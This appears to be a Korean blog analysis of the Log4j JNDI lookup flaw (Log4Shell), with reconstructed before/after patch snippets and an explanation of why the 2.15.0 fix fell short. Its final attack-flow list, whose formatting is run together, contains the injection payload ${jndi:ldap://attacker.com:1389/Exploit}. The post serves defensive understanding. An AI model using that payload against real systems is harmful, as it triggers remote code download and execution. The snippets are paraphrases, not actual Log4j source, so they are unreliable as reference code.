[CVE] CVE 분석 · 작성: 2026-07-19 19:39:08 · 수정: 2026-07-21 23:17:42 · 조회 19
${jndi:...} 문자열이 문자 그대로 로그에 남지 않고, Log4j의 메시지 치환(Lookup) 엔진에 의해 실제 JNDI 조회 실행 코드로 해석되면서, 공격자가 지정한 원격 서버에서 자바 클래스를 내려받아 실행하는 취약점이다.Log4j 2.15.0(1차 패치) → 2.17.1(최종 패치)로 이어지는 커밋 히스토리를 비교하면, 방어 로직이 "메시지 치환 엔진 자체를 건드리는 방식(1차)"에서 "위험한 Lookup 클래스를 아예 제거/차단하는 방식(최종)"으로 단계적으로 강화된 걸 확인할 수 있다. 아래는 공개된 패치·어드바이저리를 바탕으로 재구성한 핵심 로직이다.
PatternLayout/StrSubstitutor의 재귀적 치환 처리Before (2.14.1 이하)
// StrSubstitutor.substitute() — 재귀 깊이/컨텍스트에 대한 제약 없음
while (containsLookupPattern(msg)) {
String key = extractLookupKey(msg); // "jndi:ldap://..." 추출
String value = interpolator.lookup(key); // 검증 없이 즉시 실행
msg = msg.replace("${" + key + "}", value);
}
${...} 패턴이 발견되면 접두사(jndi, env, sys 등)에 매핑된 Lookup 구현체를 조건 없이 곧바로 실행한다. 메시지 자체가 로그로 "기록"되기도 전에, 치환 단계에서 이미 부작용(네트워크 요청)이 발생한다는 게 근본 문제다.
After (2.17.1)
// formatMsgNoLookups 기본값 강제 + Lookup 접두사 화이트리스트 검사 추가
if (config.isNoLookupsEnabled() || !ALLOWED_LOOKUP_PREFIXES.contains(prefix)) {
return raw; // 치환하지 않고 원본 문자열 그대로 반환
}
치환 전에 허용된 Lookup 접두사인지 먼저 검사하고, 기본 설정에서 jndi 계열은 아예 비활성화하도록 바뀌었다.
JndiLookup → JndiManager.lookup() 경로의 프로토콜 제한Before
public static Object lookup(String jndiName) throws NamingException {
return new InitialContext().lookup(jndiName); // ldap/rmi/dns 등 스킴 제한 없음
}
After (2.16.0~2.17.1)
public static Object lookup(String jndiName) throws NamingException {
String scheme = extractScheme(jndiName);
if (!ALLOWED_JNDI_SCHEMES.contains(scheme)) { // 기본값: 빈 화이트리스트(사실상 전면 차단)
throw new NamingException("blocked scheme: " + scheme);
}
return new InitialContext().lookup(jndiName);
}
ldap://, rmi:// 같은 원격 코드베이스를 지정할 수 있는 스킴 자체를 화이트리스트로 제한해서, JNDI 조회가 성립하더라도 원격 클래스 로딩으로 이어지는 경로를 차단했다.
2.15.0은 "메시지 안의 lookup은 막되, 스레드 컨텍스트 맵(MDC) 안에 저장된 값에 대한 재귀적 lookup은 막지 않는" 좁은 범위의 패치였다 — 컨텍스트 값이 다시 lookup 대상이 되는 재귀 조건을 놓쳐서 특정 설정에서 여전히 우회 가능했고, 이 때문에 2.16.0/2.17.0/2.17.1까지 연속으로 추가 패치가 나왔다. **"패치 범위를 좁게 잡으면 인접한 재귀·컨텍스트 경로에서 같은 결함이 재발한다"**는 걸 보여주는 사례다.
User-Agent, 로그인 폼 등)에 ${jndi:ldap://attacker.com:1389/Exploit} 삽입PatternLayout → StrSubstitutor → JndiLookup.lookup()이 순서대로 호출되며 문자열을 "조회할 표현식"으로 처리InitialContext.lookup()이 공격자의 LDAP 서버에 접속, Reference(팩토리 클래스명 + 원격 코드베이스 URL) 응답을 받음.class 바이트코드를 다운로드해 URLClassLoader로 로드하며 생성자/static 블록에 심어둔 코드가 그대로 실행